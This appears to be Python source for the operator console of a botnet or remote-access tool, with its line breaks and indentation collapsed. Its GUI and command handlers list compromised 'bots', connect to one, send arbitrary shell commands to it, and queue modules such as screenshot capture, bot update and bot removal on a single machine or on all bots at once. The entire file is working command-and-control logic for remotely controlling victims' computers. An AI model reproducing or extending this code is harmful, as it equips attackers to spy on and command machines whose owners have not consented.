def _on_module_run(self, module_name: str, input_fields: list): """Handles running modules.""" set_options = [] for input_field in input_fields: set_options.append(input_field.text()) module = modules.get_module(module_name) if not module: module = modules.load_module(module_name, self._module_view, self._model) successful, options = module.setup(set_options) if successful: if module_name == "remove_bot": code = loaders.get_remove_code(self._current_bot.loader_name) elif module_name == "update_bot": code = loaders.get_update_code(self._current_bot.loader_name) else: code = modules.get_code(module_name) if not options: options = {} options["module_name"] = module_name self._model.add_command(self._current_bot.uid, Command(CommandType.MODULE, code, options)) self.display_info("Module added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname))
def _on_module_change(self, module_name): """Handles module combobox changes. :type module_name: str """ while self._sub_layout.count(): child = self._sub_layout.takeAt(0) if child.widget(): child.widget().deleteLater() cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() input_fields.append(input_field) self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect(lambda: self._on_module_run(module_name, input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0)
def set_module_layout(self, module_name: str = "screenshot"): """Sets the layout which can execute modules.""" self._current_layout = "Module" self._clear_layout() command_type_label = QLabel("Command type: ") command_type_combobox = QComboBox() command_type_combobox.addItem("Module") command_type_combobox.addItem("Shell") module_label = QLabel("Module name: ") module_combobox = QComboBox() for module_name in modules.get_names(): module_combobox.addItem(module_name) module_combobox.currentTextChanged.connect(self._on_module_change) command_type_combobox.currentTextChanged.connect( self._on_command_type_change) self._layout.setColumnStretch(1, 1) self._layout.addWidget(command_type_label, 0, 0) self._layout.addWidget(command_type_combobox, 0, 1) self._layout.addWidget(module_label, 1, 0) self._layout.addWidget(module_combobox, 1, 1) # Module layout cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) input_fields.append(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect(lambda: self._on_module_run( module_combobox.currentText(), input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) self._on_module_change(module_combobox.currentText())
def _process_command(self, command: str): """Processes command input.""" if command.strip() == "": return self._view.output_separator() if command == "help": self._view.output( "Commands other than the ones listed below will be run on the connected " "bot as a shell command.", "info") self._view.output("help - Show this help menu.") self._view.output( "bots - Show the amount of available bots.") self._view.output( "connect <id> - Start interacting with the bot (required before using \"use\")." ) self._view.output( "modules - Show a list of available modules.") self._view.output( "use <module_name> - Run the module on the connected bot.") self._view.output( "stop <module_name> - Ask the module to stop executing.") self._view.output( "setall <module_name> - Set the module which will be run on every bot." ) self._view.output( "stopall - Clear the globally set module.") self._view.output("clear - Clear the screen.") self._view.output( "exit/q/quit - Close the server and exit.") elif command.startswith("bots"): if command == "bots": bots = self._model.get_bots(limit=10) if not bots: self._view.output("There are no available bots.", "attention") else: self._view.output( "No page specified, showing the first page.", "info") self._view.output( "Use \"bots <page>\" to see a different page (each page is 10 results).", "info") for i, bot in enumerate(self._model.get_bots(limit=10)): self._view.output( "{} = \"{}@{}\" (last seen: {})".format( str(i), bot.username, bot.hostname, strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online)))) else: try: # Show the bots of the given "page". page_number = int(command.split(" ")[1]) if page_number <= 0: page_number = 1 skip_amount = (page_number * 10) - 10 bots = self._model.get_bots(limit=10, skip_amount=skip_amount) if not bots: self._view.output( "There are no available bots on this page.", "attention") else: self._view.output( "Showing bots on page {}.".format(page_number), "info") for i, bot in enumerate(bots): self._view.output( "{} = \"{}@{}\" (last seen: {})".format( str(i), bot.username, bot.hostname, strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online)))) except ValueError: self._view.output("Invalid page number.", "attention") elif command.startswith("connect"): try: specified_id = int(command.split(" ")[1]) self._connected_bot = self._model.get_bots()[specified_id] self._view.output( "Connected to \"%s@%s\", ready to send commands." % (self._connected_bot.username, self._connected_bot.hostname), "info") self._view.set_footer_text("Command ({}@{}, {}): ".format( self._connected_bot.username, self._connected_bot.hostname, self._connected_bot.local_path)) except (IndexError, ValueError): self._view.output("Invalid bot ID (see \"bots\").", "attention") self._view.output("Usage: connect <ID>", "attention") elif command == "modules": self._view.output("Type \"use <module_name>\" to use a module.", "info") for module_name in modules.get_names(): try: module = modules.get_module(module_name) if not module: module = modules.load_module(module_name, self._view, self._model) self._view.output("{:16} - {}".format( module_name, module.get_info()["Description"])) except AttributeError as ex: self._view.output(str(ex), "attention") elif command.startswith("useall"): if command == "useall": self._view.output("Usage: useall <module_name>", "attention") self._view.output( "Type \"modules\" to get a list of available modules.", "attention") else: module_name = command.split(" ")[1] module_thread = Thread(target=self._run_module, args=(module_name, True)) module_thread.daemon = True module_thread.start() elif command == "clear": self._view.clear() elif command in ["exit", "q", "quit"]: raise ExitMainLoop() else: # Commands that require a connected bot. if not self._connected_bot: self._view.output( "You must be connected to a bot to perform this action.", "attention") self._view.output("Type \"connect <ID>\" to connect to a bot.", "attention") else: if command.startswith("use"): if command == "use": self._view.output("Usage: use <module_name>", "attention") self._view.output( "Type \"modules\" to get a list of available modules.", "attention") else: module_name = command.split(" ")[1] module_thread = Thread(target=self._run_module, args=(module_name, )) module_thread.daemon = True module_thread.start() else: # Regular shell command. self._view.output("Executing command: {}".format(command), "info") self._model.add_command( self._connected_bot.uid, Command(CommandType.SHELL, command.encode()))
def _run_module(self, module_name, mass_execute=False): """Setup then run the module, required because otherwise calls to prompt block the main thread.""" try: module = modules.get_module(module_name) code = ("", b"") if not module: module = modules.load_module(module_name, self._view, self._model) successful, options = module.setup() if not successful: self._view.output("Module setup failed or cancelled.", "attention") else: if not options: options = {} options["module_name"] = module_name if mass_execute: bots = self._model.get_bots() for bot in bots: if module_name == "remove_bot": if code[0] != bot.loader_name: code = (bot.loader_name, loaders.get_remove_code( bot.loader_name)) elif module_name == "update_bot": if code[0] != bot.loader_name: code = (bot.loader_name, loaders.get_update_code( bot.loader_name)) else: if not code[0]: code = modules.get_code(module_name) self._model.add_command( bot.uid, Command(CommandType.MODULE, code[1], options)) self._view.output( "Module added to the queue of {} bots.".format( len(bots))) else: if module_name == "remove_bot": code = loaders.get_remove_code( self._connected_bot.loader_name) elif module_name == "update_bot": code = loaders.get_update_code( self._connected_bot.loader_name) else: code = modules.get_code(module_name) self._model.add_command( self._connected_bot.uid, Command(CommandType.MODULE, code, options)) self._view.output( "Module added to the queue of \"{}@{}\".".format( self._connected_bot.username, self._connected_bot.hostname), "info") except ImportError: self._view.output("Failed to find module: {}".format(module_name), "attention") self._view.output( "Type \"modules\" to get a list of available modules.", "attention")